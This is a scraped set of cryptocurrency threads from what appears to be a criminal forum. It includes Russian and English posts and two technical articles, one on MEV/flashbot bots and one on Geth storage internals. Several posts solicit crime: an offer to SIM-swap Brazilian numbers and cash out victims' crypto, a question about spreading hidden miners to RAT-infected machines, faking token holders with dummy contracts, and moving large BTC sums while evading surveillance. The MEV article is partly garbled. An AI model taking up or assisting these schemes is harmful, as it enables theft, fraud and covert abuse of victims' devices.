В этом случае все соответствующие аномальные учетные записи, гильдии и реквизит были забанены и заморожены, и в то же время, в дополнение к некоторым материалам, которые были потреблены, мы также восстановили соответствующий реквизит, участвующий в деле, чтобы минимизировать влияние на экономическую среду игры. Мы также постоянно следим за тем, чтобы игровая среда оставалась здоровой. В связи с относительно сложной информацией по делу и тем фактом, что дело все еще находится в процессе обработки, нам необходимо дождаться завершения судебного процесса по делу, а затем объявить соответствующую информацию и прогресс воинам в соответствии с точными фактами дела, предоставленными полицией.

В первой половине этого года мы сотрудничали с Бюро общественной безопасности Нанькан города Ганьчжоу, чтобы успешно расправиться с бандой, которая использовала стороннее программное обеспечение для получения прибыли через аукционные дома, и арестовали всех подозреваемых; В этом случае мы также сотрудничали с Бюро общественной безопасности района Сюаньву, чтобы раскрыть дело и арестовать всех подозреваемых. В будущем мы продолжим активно сотрудничать с соответствующими ведомствами, чтобы не жалеть усилий для борьбы с соответствующей цепочкой черной индустрии и создания хорошей игровой среды для большинства игроков.

Ищу помощь в создании двух смарт-контрактов пустышек
ID: 67686ad7b4103b69df3797b0
Thread ID: 101479
Created: 2023-11-01T20:48:42+0000
Last Post: 2024-01-12T18:34:45+0000
Author: Rogue0M
Replies: 4 Views: 561

Приветствую пользователей, я бы хотел получить помощь в создании пары смарт- конрактов в сети BSC и накрутить пару тысяч холдеров (можно дюпом транз).

Looking for investors for a token
ID: 67686ad7b4103b69df379739
Thread ID: 111608
Created: 2024-03-30T14:48:18+0000
Last Post: 2024-05-05T10:38:51+0000
Author: alicejefferson
Replies: 4 Views: 561

Long shot, but I can try here.

Launching a token on sunday evening (Moscow time), it is an utility token with practical use case.
Developement works are done, marketing is getting there, visuals and website should be delivered today.

Looking for investor for initial liquidity pool.
I am putting my 27k in, so the coin will be launched even without any interests here, but just in case anyone wants to speed up the process - looking for anyone who would like to join in the project.
Got 5k aside to push it to coinmarketcap and coingecko listings.

Looking to top it up to at least 50k liquidity pool.

The only agreement I ask is - You can take your initial investment soon after launch, but withdraw the profit slower so the coin wouldn't crash.

It is a clean long term token.

Information about the token is given on private, I don't want it to be linked to XSS.
Write your contacts if interested.

Receiving BTC securely
ID: 67686ad7b4103b69df379a00
Thread ID: 54977
Created: 2021-08-07T13:41:49+0000
Last Post: 2021-08-08T12:29:19+0000
Author: cashearner
Replies: 4 Views: 559

How to securely accept large amount of BTC (100k + ) ? What measures must be taken not to get blocked or get under surveillance by some institutions.
Also, what is the best way to withdraw large sume?
Would much appreciate the info..

I can sim swap any Brazil number *Crypto Targets we cash*
ID: 67686ad7b4103b69df379a20
Thread ID: 51879
Created: 2021-05-18T07:54:18+0000
Last Post: 2021-05-18T07:54:18+0000
Author: Bigtexx
Replies: 0 Views: 559

I am able to sim swap any Brazilian phone number. Requirements: Phone number only. If you have crypto targets, we can cash out and share funds.

telegram - @bigTec

Need help swapping tokens
ID: 67686ad7b4103b69df379726
Thread ID: 115338
Created: 2024-05-25T19:21:16+0000
Last Post: 2024-05-30T11:55:55+0000
Author: alias
Replies: 4 Views: 558

EN:
hey there, i need some help swapping this token called viction, is there any service i can use to swap this with no kyc?
RU (translate):
Привет, мне нужна помощь в обмене этого токена под названием Viction. Есть ли какой-нибудь сервис, который я могу использовать, чтобы обменять его без kyc?
1716664481766.png

Распространение скрытого майнера
ID: 67686ad7b4103b69df3797ff
Thread ID: 95911
Created: 2023-08-17T16:10:46+0000
Last Post: 2023-08-19T07:43:31+0000
Author: RAMP
Replies: 10 Views: 554

Всем привет. Подскажите как сейчас можно подкидывать скрытый майнер? Раньше загонять мамонта в RAT, потом на него сажал майнер, но мало пользователей сидят на майнинге так как с РАТа пропадают юзеры. Загонял 150 устройст по итогу осталось 30+. Какими методами можно сейчас подключить больше устройств?

Криптосообщество
ID: 67686ad7b4103b69df3799a6
Thread ID: 61582
Created: 2022-01-18T12:11:05+0000
Last Post: 2022-01-18T18:53:34+0000
Author: sv37qR0
Replies: 12 Views: 552

_Приветствую!
Будьте добры, посоветуйте форумы, Telegram каналы/чаты с аналитикой (криптовалют).
Как на счет сформировать своё мини криптосообщество и делится в нем интересной информацией?
Возможно данное сообщество уже имеется, буду очень благодарен за приглашение.
Искренне надеюсь, что не нарушаю правила форума.
Заранее огромное спасибо!

_

Evm hack?
ID: 67686ad7b4103b69df3796e1
Thread ID: 120028
Created: 2024-08-01T18:46:12+0000
Last Post: 2024-08-27T08:02:39+0000
Author: blackhand
Replies: 1 Views: 551

Контекст: есть рутовый доступ на линукс на котором крутится evm . На evm задеплоен смартконтракт какого-то шитка, который торгуется на 1 бирже.
Вопрос: что я могу сделать с этим токеном? В крипте я чуть больше чем 0 , примерно 0.01

Как разработать бота MEV и flashbot на языке Python и js
ID: 67686ad7b4103b69df3797b4
Thread ID: 104941
Created: 2024-01-01T15:34:23+0000
Last Post: 2024-01-05T15:27:28+0000
Author: code666
Prefix: Статья
Replies: 6 Views: 551

Author: code666
Article for xss

**How to develop a MEV bot and a flashbot with python and js language

MEV (Miner Extractable Value) bots** are computer programs used in the field of cryptocurrencies to exploit profit maximization opportunities offered by front-running transactions¹. Front-running transactions are transactions that take advantage of information on pending transactions in the buffer memory (mempool) to anticipate or influence the order of execution of transactions on the blockchain. MEV bots use complex algorithms to analyze real-time market data and identify profitable trading opportunities. They can automatically execute buy and sell orders across different exchanges, while taking into account factors like fees and liquidity. MEV bots offer many benefits to cryptocurrency traders and investors, but they also raise questions about market transparency and fairness.

Flashbots are a type of MEV bot that use the Flashbots service to submit private transactions to miners on the Ethereum blockchain. Private transactions are transactions that are not publicly broadcast in the mempool, but are sent directly to miners via a parallel network called mev-relay. Flashbots allow MEV researchers to capture profitable trading opportunities without paying high transaction fees or facing competition from other MEV bots. Flashbots also help reduce the negative impact of MEV bots on market transparency and fairness, avoiding bidding wars and network congestion.

In this article, we will see how to develop a MEV bot and a flashbot with python and js language.
.

First things first: Choosing a trading strategy

The first step to developing a MEV bot or flashbot is to choose a trading strategy that suits your goals and risk level. There are several types of possible trading strategies, such as:

- Arbitrage : this involves exploiting price differences between different cryptocurrency exchange platforms, such as Uniswap, Sushiswap, Balancer, Curve, etc. These platforms are based on the Ethereum blockchain and allow users to trade ERC-20 tokens without an intermediary. MEV bots or flashbots can take advantage of price disparities and market inefficiencies between these platforms by executing front-running trades or rapid arbitrages.

- The sandwich: this involves exploiting price movements caused by large volume transactions on exchange platforms. MEV bots or flashbots can insert transactions before and after the target transaction, in order to take advantage of the token price variation. For example, if a user wants to buy a large amount of A tokens on Uniswap, a MEV bot or flashbot can buy A tokens before the target transaction, and then sell them after the target transaction, taking advantage of the token price rising. HAS.

- Liquidation: This involves exploiting the undercapitalized positions of users who borrow cryptocurrencies on decentralized lending platforms, such as Aave, Compound, MakerDAO, etc. These platforms require users to post cryptocurrency collateral to borrow other cryptocurrencies. If the value of the collateral falls below a certain threshold, the position is liquidated and the collateral is sold at auction. MEV bots or flashbots can take advantage of these liquidation opportunities by submitting favorable offers to redeem the collateral at a low price.

There are other types of trading strategies possible, but we will focus on these three examples to illustrate the process of developing an MEV bot or flashbot.

Prerequisites

To develop a MEV bot and flashbot, you will need the following:

- Python 3.6 or higher
- Pip, the Python package manager³
- Node.js, a JavaScript runtime⁴
- Npm, the Node.js package manager⁴
- An Ethereum account with funds in ETH
- An access provider to the Ethereum blockchain, such as Infura
- A code editor, like Visual Studio Code

Installing dependencies

To install the dependencies necessary for developing a MEV bot and flashbot, you can use the following commands:

Bash:Copy to clipboard

# Install the Python libraries
pip install web3
pip install eth-account
pip install requests

Bash:Copy to clipboard

# Install the Node.js libraries
npm install ethers
npm install @flashbots/mev-geth
npm install @flashbots/ethers-provider-bundle

Development of a MEV bot

A MEV bot is a program that analyzes pending transactions in the mempool and sends front-running transactions to miners to take advantage of profitable trading opportunities. An example of a MEV bot strategy is arbitrage, which involves exploiting price differences between different exchange platforms².

To develop a MEV bot, you can follow the following steps:

1. Create a Python file

Create a Python file named mev_bot.py in your code editor.

2. Import the libraries

Import the Python libraries necessary for the MEV bot to work:

Python:Copy to clipboard

# Import libraries
import web3
import eth_account
import requests
import json

3. Define variables

Set the following variables:

- **provider** : the URL of your Ethereum blockchain access provider, for example Infura
- **w3** : the web3 instance, which allows you to interact with the Ethereum blockchain
- **account** : the object that represents your Ethereum account, with your address and your private key
- **uniswap_router** : the address of the smart contract of the Uniswap router, which allows ERC-20 tokens to be exchanged
- **token_a** : the address of the ERC-20 token you want to sell
- **token_b** : the address of the ERC-20 token you want to buy
- **amount_a** : the quantity of token A that you want to sell
- **amount_b** : the minimum quantity of token B that you want to receive
- **deadline** : the Unix timestamp at which the transaction must be executed

Python:Copy to clipboard

# Set variables
provider = "https://mainnet.infura.io/v3/your_project_id"
w3 = web3.Web3(web3.Web3.HTTPProvider(provider))
account = eth_account.Account.from_key("your_private_key")
uniswap_router = "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D"
token_a = "0x6B175474E89094C44Da98b954EedeAC495271d0F" # DAI
token_b = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2" # WETH
amount_a = 1000000000000000000 # 1 DAI
amount_b = 0 # to be determined
deadline = w3.eth.get_block('latest')['timestamp'] + 300 # 5 minutes

4. Build the transaction

Construct the transaction that swaps token A for token B on Uniswap, using the swapExactTokensForTokens function of the Uniswap router smart contract. This function takes as parameters:

- **amountIn** : the quantity of token A to sell
- **amountOutMin** : the minimum quantity of token B to receive
- **path** : the exchange path, which is an array of token addresses
- **to** : the address of the recipient of the B tokens
- **deadline** : the Unix timestamp at which the transaction must be executed

To determine the value of amountOutMin, you can use the getAmountsOut function of the Uniswap router smart contract, which returns the amount of tokens you will receive for a given amount of tokens to sell, based on the current exchange rate.

Python:Copy to clipboard

# Build the transaction
uniswap_contract = w3.eth.contract(address=uniswap_router, abi=uniswap_abi) # uniswap_abi is the ABI code of the Uniswap router smart contract, which you can find here: https://etherscan.io/address/0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D#code
amounts_out = uniswap_contract.functions.getAmountsOut(amount_a, [token_a, token_b]).call() # call the getAmountsOut function to get the amount of tokens B to receive
amount_b = amounts_out[1] # assign the amount of tokens B to receive to the amount_b variable
tx = uniswap_contract.functions.swapExactTokensForTokens(amount_a, amount_b, [token_a, token_b], account.address, deadline).buildTransaction({ # build the transaction with the function swapExactTokensForTokens
'nonce': w3.eth.get_transaction_count(account.address), # set the nonce, which is the number of transactions sent by the account
'gas': 200000, # define the gas, which is the amount of calculation units needed to execute the transaction
'gasPrice': w3.eth.gas_price # define the gasPrice, which is the price of gas in wei
})

5. Sign and send the transaction

Sign the transaction with your private key, then send it to miners via the Ethereum blockchain provider. You can use web3's send_raw_transaction function to send the signed transaction.

Python:Copy to clipboard

# Sign and send the transaction

signed_tx = account.sign_transaction(tx) # sign the transaction with the private key

tx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction) # send signed transaction

print(f"Transaction sent: {tx_hash.hex()}") # display the transaction hash

6. Track transaction status

You can track the transaction status using web3's get_transaction_receipt function, which returns an object containing information about the transaction, such as status, block, gas used, etc. You can use a while loop to wait for the transaction to be confirmed.

Python:Copy to clipboard

# Track transaction status

receipt = None # initialize receipt variable to None

while receipt is None: # while receipt variable is None

receipt = w3.eth.get_transaction_receipt(tx_hash) # call the get_transaction_receipt function with the transaction hash

print("Waiting for confirmation...") # display a waiting message

time.sleep(5) # wait 5 seconds

print(f"Confirmed transaction: {receipt}") # display the transaction receipt

Development of a flashbot

A flashbot is a type of MEV bot that uses the Flashbots service to submit private transactions to miners on the Ethereum² blockchain. Private transactions are transactions that are not publicly broadcast in the buffer (mempool), but are sent directly to miners via a parallel network called mev- relay². Flashbots allow MEV researchers to capture profitable trading opportunities without paying high transaction fees or facing competition from other MEV² bots. Flashbots also help reduce the negative impact of MEV bots on market transparency and fairness, avoiding bidding wars and network congestion².

To develop a flashbot, you can follow the following steps:

1. Create a JavaScript file

Create a JavaScript file named flashbot.js in your code editor.

2. Import the libraries

Import the Node.js libraries necessary for the flashbot to work:

JavaScript:Copy to clipboard

const ethers = require("ethers"); // to interact with the Ethereum blockchain
const { FlashbotsBundleProvider } = require("@flashbots/ethers-provider-bundle"); // to interact with the Flashbots service

3. Define variables

Set the following variables:

- **provider** : the instance of ethers.providers.JsonRpcProvider, which allows you to interact with the Ethereum blockchain via an access provider, such as Infura
- **wallet** : the instance of ethers.Wallet, which represents your Ethereum account, with your address and your private key
- **flashbotsProvider** : the FlashbotsBundleProvider instance, which allows you to interact with the Flashbots service via the provider and the wallet
- **uniswapRouter** : the ethers.Contract instance, which represents the smart contract of the Uniswap router, which allows ERC-20 tokens to be exchanged
- **tokenA** : the instance of ethers.Contract, which represents the ERC-20 token you want to sell
- **tokenB** : the instance of ethers.Contract, which represents the ERC-20 token you want to buy
- **amountA** : the quantity of token A that you want to sell
- **amountB** : the minimum quantity of token B that you want to receive
- **deadline** : the Unix timestamp at which the transaction must be executed

JavaScript:Copy to clipboard

// Define variables
const provider = new ethers.providers.JsonRpcProvider("https://mainnet.infura.io/v3/your_project_id"); // create the provider with the URL of your Ethereum blockchain access provider, for example Infura
const wallet = new ethers.Wallet("your_private_key", provider); // create the wallet with your private key and the provider
const flashbotsProvider = await FlashbotsBundleProvider.create(provider, wallet); // create the flashbotsProvider with the provider and the wallet
const uniswapRouter = new ethers.Contract("0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D", uniswapAbi, wallet); // create the Uniswap router contract with its address, ABI code and wallet
const tokenA = new ethers.Contract("0x6B175474E89094C44Da98b954EedeAC495271d0F", erc20Abi, wallet); // create the contract for token A (DAI) with its address, its ABI code and the wallet
const tokenB = new ethers.Contract("0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2", erc20Abi, wallet); // create the contract for token B (WETH) with its address, its ABI code and the wallet
const amountA = ethers.utils.parseUnits("1.0", 18); // define the quantity of token A to sell (1 DAI)
const amountB = ethers.BigNumber.from(0); // define the minimum quantity of token B to receive (to be determined)
const deadline = (await provider.getBlock("latest")).timestamp + 300; // set the Unix timestamp at which the transaction should be executed (5 minutes)

4. Build the transaction

Construct the transaction that swaps token A for token B on Uniswap, using the swapExactTokensForTokens function of the Uniswap router smart contract. This function takes as parameters:

- **amountIn** : the quantity of token A to sell
- **amountOutMin** : the minimum quantity of token B to receive
- **path** : the exchange path, which is an array of token addresses
- **to** : the address of the recipient of the B tokens
- **deadline** : the Unix timestamp at which the transaction must be executed

To determine the value of amountOutMin, you can use the getAmountsOut function of the Uniswap router smart contract, which returns the amount of tokens you will receive for a given amount of tokens to sell, based on the current exchange rate.

JavaScript:Copy to clipboard

// Build the transaction

const amountsOut = await uniswapRouter.getAmountsOut(amountA, [tokenA.address, tokenB.address]); // call the getAmountsOut function to get the amount of tokens B to receive

amountB = amountsOut[1]; // assign the amount of tokens B to receive to the variable amountB

const tx = await uniswapRouter.populateTransaction.swapExactTokensForTokens(amountA, amountB, [tokenA.address, tokenB.address], wallet.address, deadline); // construct the transaction with the swapExactTokensForTokens function

5. Sign and send the transaction

Sign the transaction with your private key, then send it to miners via the Flashbots service. You can use flashbotsProvider's sendBundle function to send the signed transaction.

JavaScript:Copy to clipboard

// Sign and send the transaction

const signedTx = await wallet.signTransaction(tx); // sign the transaction with the private key

const blockNumber = await provider.getBlockNumber(); // get the current block number

const bundleResponse = await flashbotsProvider.sendBundle([signedTx], blockNumber + 1); // send the signed transaction to the next block

console.log(`Transaction sent: ${bundleResponse.bundleHash}`); // display the bundle hash

6. Track transaction status

You can track the transaction status using bundleResponse's receipt function, which returns a promise that resolves to an object containing information about the transaction, like status, block, gas used, etc. You can use the await function to wait for the promise to resolve.

JavaScript:Copy to clipboard

// Track transaction status

const receipt = await bundleResponse.receipt(); // wait for the transaction receipt

console.log(`Transaction confirmed: ${receipt}`); // display the transaction receipt

Conclusion

In this article, we saw how to develop a MEV bot and a flashbot with the python and js language, with code examples and how to set them up. We explained the concept of on-chain value mining (EMV) and the pros and cons of MEV bots. We also presented the Flashbots service, which allows private transactions to be submitted to miners on the Ethereum blockchain, avoiding high transaction fees and competition from other MEV bots. We showed how to build, sign and send an arbitrage transaction on Uniswap, using the web3, ethers and flashbots libraries. We also explained how to track the transaction status and check its confirmation.

Thank you for your attention and see you soon! 😊

Ton Jetton multisender
ID: 67686ad7b4103b69df37971f
Thread ID: 116079
Created: 2024-06-04T19:00:06+0000
Last Post: 2024-06-05T09:06:57+0000
Author: Nascar888
Replies: 3 Views: 550

Нужен смарт контракт для рассылки жетонов в сети тон. С возможностью слать жетоны в одной транзакции более чем на 250 кошельков. Может есть у кого то слитый контракт или кто сможет сделать с нуля рабочий смарт контракт.

Взгляд изнутри на блок EVM - SSTORE + SLOAD
ID: 67686ad7b4103b69df3798b8
Thread ID: 80599
Created: 2023-01-24T18:27:06+0000
Last Post: 2023-01-25T16:10:49+0000
Author: вавилонец
Prefix: Статья
Replies: 1 Views: 549

Эта статья для тех кому инетересно внутреннее устройство блока Ethereum Virtual Mashine, для тех кто хочет более глубоко разобрать что же происходит на уровень ниже Solidity, и как с этим взаимодействовать. Для этого мы изучим архитектуру цепочки Ethereum, ее структуру данных и заглянем внутрь клиента «Go Ethereum» (Geth). Разберём данные, содержащиеся в блоке Ethereum, и погрузимся в "хранилище" конкретного контракта. Но для того чтобы лучше понять с наглядного изображения блока EVM:

blockEth.png
Только раз взглянув на него можно определить что к чему. Для этого достаточно перейти на etherscan.io в раздел о блоках и сразу станет всё понятно. Для тех кто только проснулся и еще пьёт свой вкусный кофе разъясним.
Заголовок блока содержит следующие поля:
Prev Hash - Keccak-хэш родительского блока.
Nonce - Используется при вычислении доказательства работы
Timestamp - значение временной метки блока UNIX time( ).
Uncles Hash - Uncle-блоки (или Ommer) создаются, когда два или более майнеров создают блоки почти одновременно. Только один блок может добыт и принят в качестве канонического в блокчейне. Остальные — это дяди-блоки, которые не включены, но тем не менее дают вознаграждение своим майнерам за проделанную работу.
Beneficiary - Адрес бенефициара, получатель платы за майнинг
LogsBloom - Фильтр Блума блока или транзакции представляет собой 2048-битную строку. Каждый журнал, созданный в транзакции, имеет от 0 до 4 тем. Каждая тема установит 3 бита в «1» на основе хэша темы. Позже, если вы захотите узнать, есть ли у блока или транзакции заданная тема в одном из журналов, вы можете проверить, установлены ли те же самые 3 бита. Если они не установлены, вы знаете, что тема не будет найдена ни в одном журнале транзакций. Если они установлены, вы можете догадаться, что они, вероятно, будут, но вам все равно нужно посмотреть журналы транзакций, чтобы убедиться, потому что фильтры Блума имеют риск ложных срабатываний.
Difficulty - Скалярное значение сложности предыдущего блока
Extra Data - 32 байта данных, относящихся к данному блоку
Block Num - значение количества блоков-предшественников
Gas Limit - значение текущего лимита использования газа на блок
Gas Used - значение общего количества газа, потраченного на транзакции в данном блоке
Mix Hash - 256-битное значение, используемое для подтверждения вычислений proof of work
State Root - хэш всех балансов аккаунтов, хранилища контрактов, код контракта и одноразовые номера аккаунта. Хэш вычисляется с использованием дерева Меркла/Патриции.
Transaction Root - хэш всех транзакций, включенных в этот блок
Receipt Root - Хэш информации о получателе.

А теперь сравним их с кодом [клиента Geth](https://github.com/ethereum/go- ethereum/blob/d4d288e3f1cebb183fce9137829a76ddf7c6d12a/core/types/block.go#L70).

1.png

State root - это [корень дерева меркла ](https://www.investopedia.com/terms/m/merkle-root- cryptocurrency.asp#:~:text=A%20Merkle%20root%20is%20a,whole%2C%20undamaged%2C%20and%20unaltered.) в том смысле, что это хэш, который зависит от всех фрагментов данных, лежащих под ним. Если какая-либо часть данных изменится, корень также изменится. Структура данных под State root представляет собой Merkle Patricia Trie, в которой хранится пара «ключ-значение» для каждой учетной записи Ethereum в сети, где ключ — это хэш адреса Ethereum, а значение — объект учетной записи это учетная запись Ethereum, закодированная RLP. Учетная записть Eth адресс состоящий из 4 элементов:

Эти четыре пункта определяют место хранения смарт-контракта.
Лопаты взяли? Копаем глубже...

StateDB → stateObject → StateAccount ​

Необходимо усвоить и понять, что в аккаунте Ethereum есть 3 структуры:

stateObject входит в структуру StateDB что видно отсюда​

Code:Copy to clipboard

// * Accounts
type StateDB struct {
    db           Database
    prefetcher   *triePrefetcher
    originalRoot common.Hash // The pre-state root, before any changes were made
    trie         Trie
    hasher       crypto.KeccakState

    snaps         *snapshot.Tree
    snap          snapshot.Snapshot
    snapDestructs map[common.Hash]struct{}
    snapAccounts  map[common.Hash][]byte
    snapStorage   map[common.Hash]map[common.Hash][]byte

    // This map holds 'live' objects, which will get modified while processing a state transition.
    stateObjects        map[common.Address]*stateObject
    stateObjectsPending map[common.Address]struct{} // State objects finalized but not yet written to the trie
    stateObjectsDirty   map[common.Address]struct{} // State objects modified in the current execution

Code:Copy to clipboard

// The usage pattern is as follows:
// First you need to obtain a state object.
// Account values can be accessed and modified through the object.
// Finally, call CommitTrie to write the modified storage trie into a database.
type stateObject struct {
    address  common.Address
    addrHash common.Hash // hash of ethereum address of the account
    data     types.StateAccount
    db       *StateDB

Code:Copy to clipboard

// StateAccount is the Ethereum consensus representation of accounts.
// These objects are stored in the main account trie.
type StateAccount struct {
    Nonce    uint64
    Balance  *big.Int
    Root     common.Hash // merkle root of the storage trie
    CodeHash []byte
}

Мини выводы:
В структуре StateDB мы видим поле stateObjects, которое представляет собой сопоставление адресов с stateObjects (помните, что «state root» дерева Меркл представлял собой сопоставление адресов Ethereum с учетными записями Ethereum, а stateObject — это изменяемая учетная запись Ethereum). ) в stateObject struct видим поле данных типа StateAccount, а как мы говорили выше учетная запись Ethereum = StateAccount в Geth) Структурe StateAccount мы уже видели и она представляет учетную запись Ethereum, а поле Root это «state root».

Теперь разберём как инициализируется учетная запись Ethereum.

В StateDB есть функция createObject, которая создает новый stateObject и передает в него пустой StateAccount. Это фактически создает пустую «учетную запись Ethereum».

Code:Copy to clipboard

// newObject creates a state object.
func newObject(db *StateDB, address common.Address, data types.StateAccount) *stateObject {
    if data.Balance == nil {
        data.Balance = new(big.Int)
    }
    if data.CodeHash == nil {
        data.CodeHash = emptyCodeHash
    }
    if data.Root == (common.Hash{}) {
        data.Root = emptyRoot
    }
    return &stateObject{
        db:             db,
        address:        address,
        addrHash:       crypto.Keccak256Hash(address[:]),
        data:           data,
        originStorage:  make(Storage),
        pendingStorage: make(Storage),
        dirtyStorage:   make(Storage),
    }
}

Code:Copy to clipboard

// the given address, it is overwritten and returned as the second return value.
func (s *StateDB) createObject(addr common.Address) (newobj, prev *stateObject) {
    prev = s.getDeletedStateObject(addr) // Note, prev might have been deleted, we need that!

    var prevdestruct bool
    if s.snap != nil && prev != nil {
        _, prevdestruct = s.snapDestructs[prev.addrHash]
        if !prevdestruct {
            s.snapDestructs[prev.addrHash] = struct{}{}
        }
    }
    newobj = newObject(s, addr, types.StateAccount{})
    if prev == nil {
        s.journal.append(createObjectChange{account: &addr})
    } else {
        s.journal.append(resetObjectChange{prev: prev, prevdestruct: prevdestruct})
    }
    s.setStateObject(newobj)
    if prev != nil && !prev.deleted {
        return newobj, prev
    }
    return newobj, nil
}

Объясню код выше.​

В StateDB есть функция createObject, которая принимает адрес Ethereum и возвращает stateObject (помните, что stateObject представляет изменяемую учетную запись Ethereum). Функция createObject вызывает функцию newObject, передавая в stateDB адрес и пустой StateAccount (помните, что StateAccount = учетная запись Ethereum), она возвращает stateObject В операторе возврата функции newObject мы видим ряд полей, связанных с stateObject, адресом, данными, dirtyStorage и т. д.Поле данных stateObject сопоставляется с пустым входом StateAccount в функции. Обратите внимание, что нулевые значения заменяются в StateAccount. Возвращается созданный объект состояния, который содержит инициализированный StateAccount в качестве поля данных. Итак, у нас есть пустой stateAccount, что нам делать дальше? Мы хотим сохранить некоторые данные, и для этого нам нужно использовать код операции SSTORE. Прежде чем мы углубимся в реализацию SSTORE в Geth, давайте вспомним что делает SSTORE. Он извлекает 2 значения из стека, сначала 32-байтовый ключ, затем 32-байтовое значение и сохраняет это значение в указанном слоте памяти, определяемом ключом.
Начнем с [ go- ethereum/core/vm/instructions.go](https://github.com/ethereum/go- ethereum/blob/d4d288e3f1cebb183fce9137829a76ddf7c6d12a/core/vm/instructions.go#L524) который определяет все коды операций EVM. В этом файле мы находим функцию «opSstore».

Code:Copy to clipboard

func opSstore(pc *uint64, interpreter *EVMInterpreter, scope *ScopeContext) ([]byte, error) {
    if interpreter.readOnly {
        return nil, ErrWriteProtection
    }
    loc := scope.Stack.pop()
    val := scope.Stack.pop()
    interpreter.evm.StateDB.SetState(scope.Contract.Address(),
        loc.Bytes32(), val.Bytes32())
    return nil, nil
}

Переменная области, которая передается в функцию, содержит контекст контракта, такой как стек, память и т. д. Мы извлекаем 2 значения из стека и помечаем их loc (сокращение от местоположения) и val (сокращение от значения). Затем два значения, извлеченные из стека, используются в качестве входных данных вместе с адресом контракта для [ go- ethereum/core/state/statedb.go](https://github.com/ethereum/go- ethereum/blob/d4d288e3f1cebb183fce9137829a76ddf7c6d12a/core/state/statedb.go#L414) связанной с StateDB. Функция SetState использует адрес контракта, чтобы проверить, существует ли объект stateObject для этого контракта, если нет, он будет создан. Затем он вызывает SetState для этого stateObject, передавая в базу данных StateDB ключ и значение.

Code:Copy to clipboard

func (s *StateDB) SetState(addr common.Address, key, value common.Hash) {
    stateObject := s.GetOrNewStateObject(addr)
    if stateObject != nil {
        stateObject.SetState(s.db, key, value)
    }
}

Функция stateObject [ SetState ](https://github.com/ethereum/go- ethereum/blob/d4d288e3f1cebb183fce9137829a76ddf7c6d12a/core/state/state_object.go#L245) выполняет некоторые проверки хранилища и того, изменилось ли значение, а затем запускает добавление записи в журнал, используется для отслеживания изменений состояния, чтобы их можно было отменить в случае исключения выполнения или запроса на изменение.

Code:Copy to clipboard

// SetState updates a value in account storage.
func (s *stateObject) SetState(db Database, key, value common.Hash) {
    // If the fake storage is set, put the temporary state update here.
    if s.fakeStorage != nil {
        s.fakeStorage[key] = value
        return
    }
    // If the new value is the same as old, don't set
    prev := s.GetState(db, key)
    if prev == value {
        return
    }
    // New value is different, update and journal the change
    s.db.journal.append(storageChange{
        account:  &s.address,
        key:      key,
        prevalue: prev,
    })
    s.setState(key, value)
}

После обновления журнала вызывается функция setState из storageObject с ключом и значением. Это обновляет файл storageObjects dirtyStorage.

Code:Copy to clipboard

func (s *stateObject) finalise(prefetch bool) {
    slotsToPrefetch := make([][]byte, 0, len(s.dirtyStorage))
    for key, value := range s.dirtyStorage {
        s.pendingStorage[key] = value
        if value != s.originStorage[key] {
            slotsToPrefetch = append(slotsToPrefetch, common.CopyBytes(key[:])) // Copy needed for closure
        }
    }
    if s.db.prefetcher != nil && prefetch && len(slotsToPrefetch) > 0 && s.data.Root != emptyRoot {
        s.db.prefetcher.prefetch(s.data.Root, slotsToPrefetch)
    }
    if len(s.dirtyStorage) > 0 {
        s.dirtyStorage = make(Storage)
    }
}

Что за dirtyStorage скажешь?

dirtyStorage определяется в stateObject имеет тип Storage и описывается как «Записи хранилища, которые были изменены в ходе выполнения текущей транзакции».

Code:Copy to clipboard

type stateObject struct {
    address  common.Address
    addrHash common.Hash // hash of ethereum address of the account
    data     types.StateAccount
    db       *StateDB

    // DB error.
    // State objects are used by the consensus core and VM which are
    // unable to deal with database-level errors. Any error that occurs
    // during a database read is memoized here and will eventually be returned
    // by StateDB.Commit.
    dbErr error

    // Write caches.
    trie Trie // storage trie, which becomes non-nil on first access
    code Code // contract bytecode, which gets set when code is loaded

    originStorage  Storage // Storage cache of original entries to dedup rewrites, reset for every transaction
    pendingStorage Storage // Storage entries that need to be flushed to disk, at the end of an entire block
    dirtyStorage   Storage // Storage entries that have been modified in the current transaction execution
    fakeStorage    Storage // Fake storage which constructed by caller for debugging purpose.

    // Cache flags.
    // When an object is marked suicided it will be delete from the trie
    // during the "update" phase of the state transition.
    dirtyCode bool // true if the code was updated
    suicided  bool
    deleted   bool
}

Тип storage, соответствующий dirtyStorage, представляет собой простое сопоставление common.Hash с common.Hash.

Code:Copy to clipboard

type Storage map[common.Hash]common.Hash

Тип [ Hash ](https://github.com/ethereum/go- ethereum/blob/d4d288e3f1cebb183fce9137829a76ddf7c6d12a/common/types.go#L49) — это просто массив байтов длины HashLength.

Code:Copy to clipboard

// Hash represents the 32 byte Keccak256 hash of arbitrary data.
type Hash [HashLength]byte

[HashLength ](https://github.com/ethereum/go- ethereum/blob/d4d288e3f1cebb183fce9137829a76ddf7c6d12a/common/types.go#L36) — это константа, определенная как 32 .

Code:Copy to clipboard

// Lengths of hashes and addresses in bytes.
const (
    // HashLength is the expected length of the hash
    HashLength = 32
    // AddressLength is the expected length of the address
    AddressLength = 20
)

Ну поняли что это за сопоставление 32-байтового ключа с 32-байтовым значением.
Возможно, вы заметили pendingStorage и originStorage в stateObject прямо над полем dirtyStorage. Все они связаны между собой, во время финализации dirtyStorage копируется в pendingStorage, который, в свою очередь, копируется в originStorage при обновлении дерева. После обновления дерева StateAccount также будет обновлен во время «фиксации» StateDB. Это записывает новое состояние в базовую базу данных в памяти.

Okey, записывать мы научились, а как же загрузить из хранилища? Для этого существует опкод SLOAD. И сейчас мы посмотрим что у него "внутри".
Для начала SLOAD извлекает значение из стека, 32-байтовый ключ, представляющий слот для хранения, и возвращает хранящееся там 32-байтовое значение.
В файле [instructions.go](https://github.com/ethereum/go- ethereum/blob/d4d288e3f1cebb183fce9137829a76ddf7c6d12a/core/vm/instructions.go#L516) мы можем найти функцию «opSload».

Code:Copy to clipboard

func opSload(pc *uint64, interpreter *EVMInterpreter, scope *ScopeContext) ([]byte, error) {
    loc := scope.Stack.peek()
    hash := common.Hash(loc.Bytes32())
    val := interpreter.evm.StateDB.GetState(scope.Contract.Address(), hash)
    loc.SetBytes(val.Bytes())
    return nil, nil
}

